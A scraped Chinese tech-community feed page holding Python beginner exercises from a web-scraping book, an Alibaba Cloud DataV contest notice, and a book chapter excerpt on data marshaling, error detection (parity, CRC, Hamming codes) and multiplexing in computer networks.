        为了巩固大家学习Python网络爬虫的成果,第2章~第7章的结尾都提供了一个实践项目。这些实践的目的一是让读者从实践中检验自己学习了多少知识,二是进一步巩固在该章节中学习的知识。这些实践项目的完整代码都在书中,你也可以从本书配书资源的下载地址下载。除此之外,章末还提供了一个进阶问题供感兴趣的读者思考。
        如果你是一个编程新手,在进一步学习Python编程之前需要记得以下3点:
        (1)实践是最快的学习方式。如果你打算通过阅读本书而学会Python爬虫,就算读上100遍可能也不会达到很好的效果,最有效的方法就是:手输代码,反复练习。这也是为什么本书均通过项目案例来讲解Python网络爬虫的原因。
        (2)搜索引擎是最好的老师。如果遇到不明白的问题,请学会使用百度或谷歌引擎搜索。就笔者自己的体验而言,谷歌的有效信息检索速度比百度快,较新的回答很有可能是英文的,但是如果你的英文阅读能力不行,就另当别论了。记得使用谷歌搜索时,找到Stack Overflow网站上的回答可以非常快地解决你的问题。
        (3)请不要复制、粘贴代码。复制、粘贴代码除了可以让你在短时间内完成任务之外,没有任何好处。只有通过亲自输入代码,并不断重复、不断加快速度,才会提升你的编程能力和编程效率。否则给你一张白纸,你会什么代码都写不出。
        本章实践的项目主要是帮助Python的初学者巩固之前学过的知识,如果你已经对Python有所了解,可以跳过以下部分。为了达到最好的效果,请先自行完成下面的题目。每一题后面都会提供答案,这些答案并不是唯一解,也不是让你不思考直接复制、粘贴运行的,而是用来对比思路,巩固Python基础内容的。

        2.4.1 Python基础试题

        试题1:请使用Python中的循环打印输出从1到100的所有奇数。

        试题2:请将字符串“你好$$$我正在学Python@#@#现在需要&&&修改字符串”中的符号变成一个空格,需要输出的格式为:“你好 我正在学Python 现在需要 修改字符串”。

        试题3:输出9×9乘法口诀表。

        试题4:请写出一个函数,当输入函数变量月利润为I时,能返回应发放奖金的总数。例如,输出“利润为100 000元时,应发放奖金总数为10 000元”。
        其中,企业发放的奖金根据利润提成。利润(I)低于或等于10万元时,奖金可提10%;利润高于10万元,低于20万元时,低于10万元的部分按10%提成,高于10万元的部分,可提成7.5%;利润在20万元到40万元之间时,高于20万元的部分可提成5%;利润在40万元到60万元之间时,高于40万元的部分可提成3%;利润在60万元到100万元之间时,高于60万元的部分可提成1.5%;利润高于100万元时,超过100万元的部分按1%提成。

        试题5:用字典的值对字典进行排序,将{1: 2, 3: 4, 4:3, 2:1, 0:0}按照字典的值从大到小进行排序。

        试题6:请问以下两段代码的输出分别是什么?

        image.png

        image.png

        试题7:请问以下两段代码的输出分别是什么?

        image.png

        image.png

        2.4.2 参考答案

        试题1答案:

        image.png

        在上述代码中,range(1,101) 返回的是从1到100所有整数的列表list,然后使用循环判断这个数字除以2的余数是否为1,i % 2返回的是i除以2的余数。如果余数等于1,就输出该数字。

        试题2答案:

        image.png

        在上述代码中,使用replace方法可以将字符串中的一些字符替换成想要的字符。例如,str1.replace('$$$', ' ')就是把str1中的'$$$'替换成空格。
        其实还可以采用另一种更加简单的方法:

        image.png

        这里用到一个库re(正则表达式),使用其中的re.sub可以进行替换。正则表达式的功能将在第5章进行详细说明。
        试题3答案:

        image.png

        运行上述代码,得到的结果如图2-20所示。

        image.png

        上述代码使用了两个循环的嵌套,在第一个循环中i为1,在第二个循环中j为1。当j完成循环后,i会加1,变成2,j又从1开始一个新的循环,从而得到输出的这个9×9乘法表。
        试题4答案:

        image.png
        image.png

        在上述代码中,计算应发奖金时,我们对不同的情况使用if和elif进行了不同的处理。
        还可以使用一个比较简洁的方式:

        image.png

        试题5答案:

        image.png

        运行上述代码,输出的结果是:
        [(0, 0), (2, 1), (1, 2), (4, 3), (3, 4)]
        对字典进行排序是不可能的,只有把字典转换成另一种方式才能排序。字典本身是无序的,但是如列表元组等其他类型是有序的,所以需要用一个元组列表来表示排序的字典。

        试题6答案:
        第一段代码输出的结果是:1
        第二段代码输出的结果是:[1]
        从结果发现,在第一段代码中,a为数字int,函数改变不了函数以外a的值,输出结果仍然为1;而在第二段代码中,a为列表,函数将函数以外的a值改变了。
        这是因为在Python中对象有两种,即可更改(mutable)与不可更改(immutable)对象。在Python中,strings字符串、tuples元组和numbers数字是不可更改对象,而list列表、dict字典等是可更改对象。
        在第一段代码中,当一个引用传递给函数时,函数自动复制一份引用。函数里和函数外的引用是不一样的。
        在第二段代码中,函数内的引用指向的是可变对象列表a,函数内的列表a和函数外的列表a是同一个。

        试题7答案:
        第一段代码输出的结果是:bbb aaa aaa
        第二段代码输出的结果是:[1] [1] [1]
        代码中的p1.name="bbb"表示实例调用了类变量,其实就是函数传参的问题。p1.name一开始指向类变量name="aaa",但是在实例的作用域里把类变量的引用改变了,就变成了一个实例变量,self.name不再引用Person的类变量name了,所以第一个答案是bbb。而后面的两个答案还是调用类变量name="aaa",所以还是aaa。
        第二段的答案因为正如上面所言,列表和字典是可更改对象,因此修改一个指向的对象时会把类变量也改变了。

        2.4.3 自我实践题

        读者若有时间,可以从W3school的Python 100例中学习Python的各种应用基础知识,网址是:https://www.w3cschool.cn/python/python-100-examples.html

        ]]>
        分享你的花样DataV Fri, 02 May 2025 09:39:04 +0800 致阿里云DataV的开发者们

        不管是可视化界面编辑大神,还是可视化界面编辑小菜鸡,还是卡在大神和小菜鸡中间的格子衬衫小哥哥,都要注意啦!


        云栖使用.png

        使用DataV制作的完美级可视化大屏找不到可以分享的知己?

        秒做高逼格大屏,制作界面从无烦恼,是不是想得到崇拜的眼神?

        常常踩坑,这怎么搞,臣妾真的做不到,太“南”了,跪求大神?

        遇到不顺手的配置时,没有地方吐槽,只能深夜跟自己的发际线过不去?

        嗯,现在机会来了,我们把话筒交给你们!

        云栖使用2.jpg

        投稿你与DataV的“爱恨情仇”就有机会获得丰富的奖品

        活动规则:投稿分享制作的有趣DataV界面,或者是制作可视化界面的教程、或者是与DataV的各种“爱恨情仇”等等。根据排名给参与者赠送丰富礼品。

        评选规则:根据帖子的内部官方评分x50%+帖子本身浏览量评分x50%的维度进行排名。
        (注:投稿帖子需要涉及DataV,内容不得涉及负面信息)

        参与方式:在云栖社区论坛帖评论区(即本文下方评论区)留下你的投稿信息。

        投稿形式:以名字+阿里云userid(一串数字)+投稿链接的形式在云栖社区的论坛帖评论区(即本文下方评论区)进行评论,或者发送至邮箱wb-lxy625181@alibaba-inc.com。
        (投稿链接可以是各社交平台、技术平台等等)

        活动时间:11月7号-11月24号
        礼物寄送*活动收尾:12月11号-12月15号

        奖品情况:

        image.png


        有疑问的小伙伴可以加钉钉群进行咨询哦!
        钉钉群号:23317648
        赶紧敲起你的键盘来!在下方评论区投稿吧!]]>
        带你读《计算机网络问题与解决方案: 一种构建弹性现代网络的创新方法》之二:数据传输中的问题与解决方案 Fri, 02 May 2025 09:39:04 +0800 点击查看第一章
        点击查看第三章

        第2章

        Computer Networking Problems and Solutions: An Innovative Approach to Building Resilient, Modern Networks

        数据传输中的问题与解决方案

        学习目标
        阅读完本章,读者应该能够:

        • 理解数据列集的概念、各种不同的列集选项,以及各选项之间的权衡
        • 在数据列集的上下文中理解字典、语法和元数据的概念
        • 理解固定长度字段、类型长度值和共享数据字典等概念
        • 理解差错检测与纠错之间的区别
        • 理解数据传输中差错检测的基本概念
        • 理解寻址与多路复用之间的关系
        • 理解组播(又称多播)和选播背后的基本原理
        • 理解流量控制的机制,包括基于窗口的流量控制

        如果传输协议会做梦,它们会梦到应用程序吗?应该会梦到,因为网络的主要目的就是支持应用程序。网络对应用程序提供的主要支持就是把数据从一个进程(或处理器)转移到另一个进程(或处理器)。但是,数据是如何通过电缆、空气或光缆传输的呢?
        也许可以从一个更熟悉的例子开始:人类语言。本书作者使用了排版格式、语言和词汇,使读者能够阅读和理解文字所呈现的信息。语言需要克服什么样的问题才能使交流、写作和阅读成为可能呢?
        思想必须以一种允许接收者检索的形式被捕捉。在人类语言中,信息被包装成单词、句子、段落、章节和书籍。这样划分的每一层级都蕴含一些信息单元和组织系统。例如,声音或思想被封装成字母或符号,然后字母或符号组合成单词,单词组合成句子,等等。句子遵循一种特殊的语法形式,这样就可以从这些符号中解读出意义。这种将思想和信息编码成格式化的符号,允许读者(接收者)检索初始意义的过程,本书称之为数据列集(marshaling)。
        列集被定义为将一组符号与特定意义联系起来的过程。元数据,即描述数据的数据,帮助你理解如何从数据流中解读出信息来。
        在传输或接收中必须有一些管理差错的方法。假设你有一只喜欢玩球的宠物狗。有一天球从篮子里掉了出来,弹到了街上。狗追逐着,似乎正朝着迎面驶来的汽车跑去。此时,你会怎么做?也许你会喊“停下!”,然后是“别过去!”,或者是“别动!”。你会用几个导致相同行为(即让狗在跑到街上之前停住)的命令确保它能够正确地接收到,并且明白这条信息。你希望通过大声喊出多条信息来确保它没有误解你让它做的事情。
        这实际上是一种形式的纠错(error correction)。在人类语言中存在着许多纠错。例如这句英文:“yu cn prbbly stll rd ths sntnce”,人类语言会忽略包含信息的细节,因此,一些遗漏的字母不会导致整个消息的丢失。这种“忽略细节”可以看作前向纠错的一种形式。然而,这并不是人类语言中唯一的纠错形式。人类语言也包含提问,通过提出疑问可以核实、验证或获取之前通过语言“传输”而缺失的信息内容或上下文。
        使用空气声波作为单一媒介,在更大的人群中一定有办法与一个人或一小群人交谈。在一个人满为患的房间里,与其中一个人交谈是很平常的事情。人类语言已经建立在各种情形下处理这个问题的很多方法,比如直呼某人的名字,或者面对面说话时提高音量,以确保对面的人能够听到(换句话说,语言沟通可以是定向的)。与人群中的一个人或者特定一部分人讲话的这种能力就是多路复用(multiplexing)。
        最后,必须能够控制对话的流程。对于一本书来说,这是一件简单的事情;作者分段写成文本,然后将其汇集成册,读者可以用不同的速度阅读或重复阅读。
        可能没有人认为一本书会是一种“流量控制”的形式。其实,把想法付诸书面形式是一种有效的“流量控制”方式,即把发送者的速度(写作速度)与接收者的速度(阅读速度)分离开。口语中还有其他形式的流量控制,比如停顿“嗯”,或者在听众的眼神中看到迷茫困惑的时候(听众可能没有跟上说话者的推理线),甚至是一些暗示说话者应该放慢语速的肢体语言。
        总之,成功的通信系统需要解决四个问题:

        • 数据列集,把想法转换成接收方能够读懂的语法和符号。
        • 管理差错,将想法从发送方正确地发送到接收方。
        • 多路复用,允许公共传输介质或基础设施应用于大量不同发送方和接收方之间的对话。
        • 流量控制,或者是具备这样的能力:在发送方发送更多信息之前,确保之前信息已经被接收方接收和处理。

        下面将详细讨论这些问题以及在每个问题空间中的一些可用解决方案。

        2.1 数字语法和数据列集

        考虑一下读者阅读本书的过程。类比物理载体,读者检查一组印在纸上的墨水标记。这些标记代表某些符号(或者,如果你正在听这本书,即在白噪声背景下的某些声音),然后将它解释为字母。这些字母反过来可以通过空格和布局的规则组成单词,而单词通过标点符号和空格可以形成句子。
        在这个过程的每一个阶段都有几种相互作用的东西:

        • 可以施加信号的物理载体。这种以物理载体来表示信息的原理基于克劳德·香农(Claude Shannon)的信息论,不在本书的讨论范围之内;“拓展阅读”将为感兴趣的读者提供进一步的阅读资料。
        • 将物理符号转换成第一层逻辑内容中信息单元的符号表示。当解释符号时,读者需要两样东西:字典,它描述了对应于某个物理状态所有可能的逻辑符号范围;语法,它描述了如何确定哪个逻辑符号与这个物理状态的实例相关联。这两样东西结合起来可以被描述为一种协议。
        • 一种将符号转换成单词、将单词转换成句子的方法。同样,这里也包括两个组件:字典和语法。它们也可以被描述为一些协议。

        随着向“协议栈上层”移动,从物理载体到字母,再到单词、句子等,字典将变得不那么重要,而语法(它允许你将上下文转换成意义)将变得更加重要。但这两个东西存在于协议栈的每一层的读/听过程中。字典和语法被认为是两种不同形式的元数据,可以用它们将物理表征转换成句子、思想、论点等。

        2.1.1 数字语法和字典

        人类语言和数字语言之间并没有太大的差别,比如读者现在正在阅读的就是人类语言。然而,数字语言并不被称为一种语言,它被称为一种协议。更正式地说:
        协议就是将一种信息转换成另一种信息的字典和语法(元数据)。
        当然,协议不能只在一个方向上工作,它既可以用于信息编码,也可以用于信息解码。语言可能是每天遇到的最常见的协议形式,但是也有许多其他形式的协议,比如交通标志,烤面包机、计算机和移动设备上的用户界面,以及每一种人类语言。
        假如正在开发一个协议,这意味着主要工作将是开发一套字典和一套语法,有两种优化方法可供选择:

        • 资源效率。有多少资源用于任意特定信息的编码?数据本身包含的元数据越多,编码的效率就越高—但是更多的信息解码工作也将依赖于字典。使用非常少的元数据(信号)编码大量信息的协议通常被认为是简洁的。
        • 灵活性。在现实世界中,事情一直在变化。协议必须以某种设计形式来适应变化,希望这种形式不需要在“国旗日”(Flag Day)升级协议。

        元数据权衡是在网络工程中发现的许多权衡之一:要么包含更多的元数据,允许协议更好地处理未来的需求;要么包含更少的元数据,从而使协议更加高效和简洁。一个很好的经验法则(也是本书多次提及的)就是:如果没有发现权衡,那么说明你观察得不够仔细(或者是不够用心)。

        国旗日是什么?

        如果需要把安装并运行在大量计算机上的协议升级到新版本,或者切换到不同的协议,那么你有三种选择。
        首先,可以设计一个允许新旧版本重叠的协议(或多个协议),或者是这些协议可以在同一网络上同时运行。这种方案有时被称为“午夜航船”:新旧协议(或相同协议的不同版本)独立运行,互不干扰。
        其次,可以选择特定的某一天(也可以是某一段时间,在某些情况下甚至是毫秒级)把旧协议切换到新协议。这一天就叫作“国旗日”。这个术语是如何与这个协议切换事件关联在一起的呢?在1966年,运行Multics(操作系统)的系统都需要从一个字符集定义切换到另一个字符集定义,如用ASCII 1967代替ASCII 1965。Multics系统管理员选择了一个假期,这样将有一整天的时间来替换软件,并保证系统在变更后的第一个工作日正常运行。他们选择的日子是1966年6月14日的美国国旗日。从此,“国旗日”这个术语永远与“要求系统中的每个主机(几乎)同时重启以确保正确运行”的系统变更关联起来了。

        最著名的“国旗日”是在1983年,当时整个互联网从网络控制程序(Network Control Pro-gram,NCP)传输协议切换到传输控制协议(Transmission Control Protocol,TCP)。两个协议的切换过程需要一个互联网工程任务组(Internet Engineering Task Force,IETF)的RFC文档来描述和协调,这个文档就是RFC801。
        最后,可以设计这样一个协议:协议的一个版本就可以包含相同信息的多个版本,每个版本的信息格式都不同。发送方可以用任意一种格式发送,接收方能够以任意一种格式解释数据。当所有系统都升级到新版本软件时,旧的编码方式可以被替换。这一机制严重依赖RFC760中的一项原则:
        一般来说,在发送方的行为中,实现方式必须是保守的;而在接收方的行为中,实现方式可以是自由的。也就是说,发送方必须谨慎地发送格式正确的数据报,而接收方必须接收它能够解释的任何数据报(例如,不反对意义明确的技术错误)。

        协议中的字典即面向符号和操作的数字模式表。也许最常用的数字字典是字符编码。表2-1复制了Unicode字符编码字典的部分内容。

        表2-1 部分Unicode字符编码表

        image.png
        根据表2-1,假想计算机正在“阅读”一个字符串数组。如果数组中的数字是0023,那么计算机将打印(处理)为数字6;如果数组中的数字是0024,则打印数字7;如此等等。这个编码表,或者说是字典,把特定数字与字母表中的特定字符关联起来,就像字典把一个词与其一系列的含义关联起来。
        计算机如何区分香蕉的价格和香蕉名字本身的字母(banana)呢?答案是通过信息的上下文。例如,香蕉的价格和名字可以存储为一个字符串或一系列字母;字符串变量类型可以提供元数据或上下文,表示这块特定内存位置的值应该作为字母来处理,而不是数字值。该元数据(由计算机安排)提供了协议的语法。
        在网络协议中,字典通常表示为数据包所包含的任意特定字段,而语法通常表示为数据包的构建方式,或者是数据包的哪些位置包含哪些字段。
        多种方法可用于构建字典和基本(一级)语法,以下几节将会讨论这些方法。

        2.1.2 固定长度字段

        固定长度字段(fixed length field)是最容易解释的字典机制。固定长度字段是指协议定义一组字段(field),包括每个字段的数据类型,以及每个字段的大小。这些信息被“合并”到协议定义中,每个实现都必须服从这些协议规范,从而实现互操作。图2-1说明了固定长度字段编码在OSPF协议(RFC2328)中的使用。
        image.png

        图2-1 OSPF协议规范中的固定长度字段定义

        图2-1上方的一行数字表示数据包格式中的单个比特,每一行包含32位信息。比如第一行的第一个8位字段表示版本号,第二个8位字段总是5,后面的16位字段表示数据包长度。每一个字段在协议规范中都会被进一步详细定义,比如字段承载的信息,以及这些信息是如何编码的。例如:

        • 版本号字段编码为无符号整数。这就是元数据,表示这个数据包所使用的字典和语法。如果需要变更数据包格式,则可以增加版本号,使得发送方和接收方在对数据包进行信息编码和解码时使用正确的字典和语法。
        • 数字5表示该协议的数据包类型。这是字典的一部分,在标准文档的其他位置定义,因此在这个示例中它是作为一个固定值插入的。这个特殊的数据包是链路状态确认数据包(Link State Acknowledgment Packet)。
        • 数据包长度被编码为一个无符号整数,表示完整数据包中包含八位组的数量。这使得数据包大小可以根据所需携带信息的多少而变化。

        固定长度字段的格式有几个优点。首先,对不同的数据包来说,数据包内任何一片信息的位置都是相同的。这意味着可以很容易地优化信息编解码的代码(根据数据包格式设计的代码)。例如,处理固定长度数据包格式的一种常见方法是在内存中创建一个与包格式完全匹配的数据结构;当从网络上读取数据包时,数据包可以被简单地复制到这个数据结构中,然后就可以通过操作数据结构直接读取数据包中的字段。
        固定长度的协议格式往往比较简洁。对数据进行编解码所需的元数据信息以协议规范的形式“在协议之外”传输。数据包本身只包含值,而不包含有关值的任何信息。另一方面,固定长度格式可能会浪费大量空间,因为总要缓存一些字段,使得数据包保持相同的长度。例如,十进制数字1可以用一个二进制数字表示(1位),而4则需要3个二进制数字(3位);如果一个固定长度的字段必须能够表示0到4之间的任何数字,那么它至少需要3位长。这样当表示较小的十进制数时,其中的两位会被“浪费”。
        为了提高处理速度,协议字段的大小需要与通用处理器的内存边界对齐。固定长度格式也往往因此而浪费空间。例如,字段所需数值是从0到3,即使它只需要两位来表示所有可能值,为了获得更快的内存处理,该字段也可能被编码为8位字段(一个完整的八位组),以确保后面的字段总是与八位组的边界对齐。
        灵活性是固定长度编码的问题所在。如果某个字段在原始规范中定义为8位的值(单个八位组),则没有简单的方法来修改该字段的长度以支持新的需求。在固定长度编码方案中,解决这个问题的主要方法是通过版本号。如果字段的长度必须更改(无论是变大还是变小),则版本号将需要变更以支持新字段长度的数据包格式。这使得协议实现可以使用旧格式,直到网络中的所有设备都被升级到支持新格式。一旦所有设备都升级,整个系统就可以切换到新的格式。

        2.1.3 类型长度值

        类型长度值(Type Length Value,TLV)格式是另外一个广泛使用的关于数据列集问题的解决方案。图2-2显示了一个中间系统到中间系统(Intermediate System to Intermediate System,IS-IS)的路由协议示例。
        image.png

        图2-2 IS-IS系统中的一个TLV格式示例

        在图2-2中,数据包由报头和一组类型长度值构成。报头通常是固定长度,每个类型长度值都基于各自的类型码进行格式化。在图中,显示了两种类型长度值(在IS-IS中有许多其他类型,这里的两个仅用于举例说明)。第一个类型是135,它携带IPv4信息。这种类型有几个字段,其中一些是固定长度,比如metric(度量)字段。然而,其他的则是可变长度,如prefix(前缀)字段,该字段的长度取决于类型长度值中的其他字段值,例如,对于prefix字段,其prefix length字段决定了prefix字段的长度。还有一些子TLV,它们的格式类似,并带有与IPv4相关的信息。236类型与135类型类似,但236类型携带的是IPv6,而不是IPv4信息。
        从本质上讲,类型长度值可以看作由更大数据包传输的一套完整的自包含信息。类型长度值由三部分组成:

        • 类型码:描述数据的格式。
        • 长度:描述数据的总长度。
        • 值或数据本身。

        基于类型长度值的格式不像固定长度格式那样简洁,因为数据包本身需要携带更多的元数据。数据携带的类型和长度提供了在字典中查找格式信息的位置,以及要使用的语法信息(每个字段的格式等)。类型长度值格式牺牲简洁性,以换取不需要在网络上传输额外元数据,这种权衡获得了以下能力:不需要对设备进行升级就可以改变协议所携带的信息格式,或者允许某些实现选择不支持所有可能的类型长度值。
        在网络协议中,类型长度值通常被认为是一种非常灵活的数据列集方式,这个概念几乎无处不在。

        2.1.4 共享对象字典

        固定长度字段的一个主要问题是字段定义的固定性。如果想要修改一个固定长度字段的协议,需要增加版本号并修改数据包;或者必须创建一个新的数据包类型,并为字段设置不同的编码。TLV格式通过数据传输中自包含元数据的方式解决了这一问题,付出的代价是携带更多的信息且降低了简洁性。共享编译字典试图通过将字典放在共享文件(或库)而不是规范中来解决这个问题。图2-3说明了这个过程。
        image.png

        图2-3 共享编译字典

        在图2-3中,流程从开发人员构建数据结构开始,这个数据结构列集了一些特定的数据,然后通过网络传输。一旦数据结构已经建立,它就被编译成一个函数,或者复制到库函数中(1),然后复制到接收方(2)。接收方使用这个库来编写一个应用程序以处理这些数据(3)。对于发送方,原始数据通过格式编码(4),再通过网络协议发送给接收方(5),接收方使用数据格式的共享副本(6)来解码数据,并把解码后的信息传递给接收方的应用程序(7)。
        这种系统结合了类型长度值模型的灵活性和固定字段协议的紧凑性。虽然字段是固定长度的,但是字段定义允许快速、灵活的更新(当列集的格式需要变更时)。只要共享库与使用数据的应用程序分离,就可以通过发布原始数据结构的新版本来更改字典和语法。
        如果需要分发新版本的数据结构,是否还需要国旗日呢?不需要。如果数据结构中包含一个版本号,那么接收方可以把接收到的数据与正确的数据结构相匹配,系统可以同时存在多个版本的数据结构。一旦不存在使用旧数据格式的发送方,旧的结构就可以安全地在整个系统中丢弃了。
        注意:gRPC是一个共享编译库列集系统的例子,详细内容可参见“拓展阅读”部分的参考资料。
        注意:固定格式和TLV系统依赖于开发人员对规范的阅读,并且以共享语法和字典的形式编写代码,而本节所述的共享数据结构系统依赖于以其他某种方式分发的共享字典。有许多不同的方法可以做到,例如,一个新版本的软件可以分发给所有的发送方和接收方,或者以某种形式的分布式数据库来确保所有发送方和接收方都收到更新后的数据字典,或者应用程序中专门管理列集数据的部分可以是分布式的,并且与生成和使用数据的应用程序搭配。这种类型的系统在初始会话设置时发送共享字典。所有这些方法都是可行的,其细节超出了本书的讨论范围。

        2.2 差错

        世界上没有完美的数据传输介质。如果传输介质是共享的,比如射频(RF),就有可能会发生干扰,甚至是数据报冲突。这是不止一个发送方试图同时传输信息的情形,其结果是一个不能被预期接收方所理解的歪曲信息。即使是一种专用介质,如点对点的海底光缆,也会因电缆退化或端点事件而出现错误,甚至是一些看似不正常的事件,如太阳耀斑引起的辐射,进而会干扰通过光缆传输的数据。
        网络传输必须解决的两个关键问题是:

        • 如何检测数据传输中的错误?
        • 对于数据传输中的错误,网络应该如何处理?

        下面几小节将讨论这些问题的一些可能答案。

        2.2.1 差错检测

        无论是传输介质发生故障,还是传输路径上交换设备的内存出现损坏,或者是其他什么原因,处理差错的第一步都是对差错进行检测。当然,问题是当接收方检测接收到的数据时,没有任何参照物可用于比较,以便发现差错。
        奇偶校验是最简单的检测机制,有两个互补的奇偶校验算法。对于偶校验,每个数据块都会添加一个附加的位。如果数据块中位数总和是偶数,也就是说数据块中有偶数个1,那么附加的位将被设置为0。这保持了数据块的偶校验状态。如果1的位数总和是奇数,则附加的位被设为1,它将整个块设置为偶校验状态。奇校验使用相同的位附加策略,但它要求数据块具有奇数校验位(奇数个1)。
        作为一个例子,计算以下4字节的偶校验和奇校验:
        image.png
        只要简单地数一下数字,就会发现这些数据中有14个1和18个0。为了提供使用奇偶校验的差错检测,可以向数据中添加一位,使新增加的位总数要么为偶数(偶校验),要么为奇数(奇校验)。例如,如果想在本例中添加一个偶校验位,则附加位应该设置为0,这是因为1的数量已经是一个偶数了。将附加的奇偶校验位设为0不会再增加1,因此不会改变1的总数是偶数还是奇数。对于偶校验,最终的比特集合是:
        image.png
        另一方面,如果想在这组比特上添加一个奇校验位,需要使附加的奇偶校验位为1,所以现在有15个1而不是14个1。对于奇校验,最终的比特集合是:
        image.png
        为了检查数据在传输过程中是否被损坏或更改,接收方只需注意是否使用了偶校验或奇校验,使用加法计算一下“1”的数量,并丢弃奇偶校验位。如果“1”的数量与使用的奇偶校验(奇数或偶数)不匹配,就说明数据被破坏了;否则,数据似乎与最初传输的数据相同。
        当然,这个新的附加位是随着原始数据一起传输的。如果奇偶校验位本身被破坏了,怎么办?这还是可以工作的。假设使用偶校验,并且发送方发送:
        image.png
        然而,接收方收到:
        image.png
        奇偶校验位本身已经从0翻转到了1。接收方将计算“1”的个数,确定有15个;因为正在使用偶校验,即使它没有出错,收到的数据也会被标记为有差错。奇偶校验对失败可能过于敏感,但在进行差错检测时,宁求稳妥。
        奇偶校验有一个问题:它只能在传输信号中检测到一位的翻转。例如,使用偶校验,并且发送方发送:
        image.png
        然而,接收方收到:
        image.png
        接收方将计算“1”的数量,为12;由于系统使用偶校验,接收方将假定数据是正确的并正常处理。然而,用粗体标出的两个部分都被损坏了。在任何组合中有偶数位被修改时,奇偶校验不能检测到变化;只有当更改涉及奇数位时,奇偶校验才能检测到数据的变化。
        循环冗余校验(Cyclic Redundancy Check,CRC)可以通过在整个数据集上使用循环除法(而不是加法),一次一小块,来检测在数据传输中更大范围的数据改变。研究一个例子是理解CRC如何计算的最好方法。CRC计算以一个多项式开始,如图2-4所示。
        对如图2-4所示的三项多项式x3+x2+1,展开以包括所有项—包括系数为0的项(因此无论x的值是多少,都不影响计算的结果)。然后四个系数作为二进制计算器,它将被用来计算CRC。

        image.png

        图2-4 一个用来计算CRC的多项式

        为了执行CRC,从原始的二进制数据集开始,并添加三个额外的位(因为原始多项式没有系数,有三个项,因此被称为3位CRC校验),如下所示:
        image.png
        这3位需要确保原始数据中的所有位都包含在CRC中。当CRC在原始数据中从左到右移动时,只有在填充位包含的情况下,原始数据中的最后一位才会被包含。现在从左4位开始(因为4个系数表示为4位),使用异或(XOR)操作将最左边位与CRC位进行比较,并保存结果,如下所示:
        image.png
        注意:如果两个二进制数字相同,则它们的异或结果为0,否则为1。
        被称为除数的校验位一位一位地往右边移动(这里可以跳过一些步骤),重复操作,直至到达数字的末尾:
        image.png
        CRC在最后的三位中,这三位最初是填充位—这是在原始数据和原始填充之间移动相除的“余数”。对于接收方来说,通过CRC位(在本例中为101)和使用原始的除数来确定数据是否被更改很简单,如下所示:
        image.png
        image.png
        如果数据没有更改,则此操作的结果将始终为0。如果改变了一位,结果将不会是0,如下所示:
        image.png
        CRC似乎是一个复杂的操作,但它发挥了计算机的长处—有限长度的二进制运算。如果CRC的长度与普通处理器中标准的寄存器相同,比如8位,计算CRC将是一个相当简单和快速的过程。CRC校验具有抗多位变化的优点,不像之前描述的奇偶校验。

        2.2.2 纠错

        然而,检测差错只能解决问题的一半。一旦检测到差错,传输系统该怎么办?本质上有三种选择。
        传输系统可以简单地把数据丢弃。在这种情况下,传输实际上是将处理错误的责任转移到更高级别的协议或者应用程序本身。由于一些应用程序可能需要一个没有错误的完整数据集(比如一个文件传输系统,或者一笔金融交易),它们可能会有一些方法来发现丢失的数据并重传。不关心少量数据丢失(比如语音流)的应用程序可以简单地忽略丢失的数据,在接收方重新构造信息,并尽可能地提供丢失的信息。
        传输系统可以向发送方发出错误信号,并让发送方决定如何处理这些信息(一般来说,错误数据将被重新传输)。
        传输系统可以在原始传输中包含足够的信息并确定错误发生在哪里,并试图纠正它,而不是丢弃数据。这称为前向纠错(Forward Error Correction,FEC)。汉明码(Hamming code)是最早出现也是最容易解释的FEC机制之一。最好用例子来说明汉明码,如表2-2所示。

        表2-2 汉明码的解释

        image.png
        在表2-2中:

        • 12位空间中所有为2的幂次方位(1、2、4、8等)和第一位作为奇偶校验位。
        • 使用FEC保护的8位数字(10110011)已在剩余的空间上分布。
        • 将每个奇偶校验位设为0,然后通过计算二进制位数字与奇偶校验位的位设置相同的位置中“1”的数量,来计算每一个奇偶校验位的奇偶性。具体地说:
        • P1在位数中设置了极右位(即最右位为1),在奇偶校验计算中也包含了编号空间中设置了极右位的其他位元组(请参阅表中的第二行,可查找设置了极右位数字的所有位位置)。它们在P1行中用一个“X”来表示。“1”的总数是奇数(3),所以P1位被设为1(这个例子使用偶校验)。
        • P2设置了右边的第二位,在编号空间中设置了右边第二位的位都被包含在奇偶校验中,如表中P2行中的“X”所示。“1”的总数是偶数(4),所以P2位被设为0。
        • P4设置了右边的第三位,所以其他在其位置编号中设置了第三位的位如P3行中的“X”所示。在标记的列中有奇数个1,所以P4奇偶校验位设置为1。

        为了确定是否存在已经更改了的任何信息,接收方可以按照与发送方计算的相同方式检查奇偶校验位,任何集合中1的总数应该是偶数(包括奇偶校验位)。如果其中一个数据位被翻转,接收方就永远不会发现奇偶校验错误,因为数据中的每一位都被多个奇偶校验位所覆盖。为了发现哪个数据位是不正确的,接收方将错误的奇偶校验位进行相加,结果就是被翻转位的位置。例如,如果位置9,也就是第五个数据位被翻转,那么奇偶位P1和P8都是错误的。在这种情况下,8+1=9,所以位置9中的位是错误的,翻转它即可修正数据。如果只有一个奇偶校验位出错,如P1或P8,那么它就是被翻转的奇偶校验位,而数据本身是正确的。
        虽然汉明码很巧妙,但是仍有很多的翻转模式无法被检测到。一个更现代的编码,如Reed-Solomon,可以检测和修正更大范围的错误条件,同时只向数据流中添加很少的附加信息。
        注意:在通信世界中有大量不同种类的CRC校验和纠错码。CRC校验根据检查使用的比特数量(填充的比特数量,或者更确切地说是多项式的长度)来分类,甚至在某些情况下,根据特定的应用程序来分类。例如,通用串行总线使用5位CRC(CRC-5-USB);全球移动通信系统(GSM)是一种广泛应用的蜂窝电话标准,使用CRC-3-GSM;码分多址(Code Division Multi-Access,CDMA)是另一种广泛使用的蜂窝电话标准,采用CRC-6-CDMA2000A、CRC-6-CDMA2000B和CRC-30;一些车域网络(Car Area Network,CAN)用来连接汽车的各种部件,使用CRC-17-CAN和CRC-21-CAN。这些不同的CRC函数中有些不是单个函数,而是一个函数类或函数族,其中包含许多不同的代码和选项。

        2.3 多路复用

        假设你走进一个房间,大声喊道“乔!”,你的朋友乔转过身,开始与你谈论政治和宗教(当然,在任何有礼貌的谈话中,这两个话题都是禁忌话题)。即使在许多人同时使用媒介(传播声音的空气)进行对话时,你也可以使用相同媒介与某人对话,这样的一种能力在网络工程中就是多路复用。更正式的表述为:
        多路复用即允许连接到网络的多个实体通过共享网络进行通信。
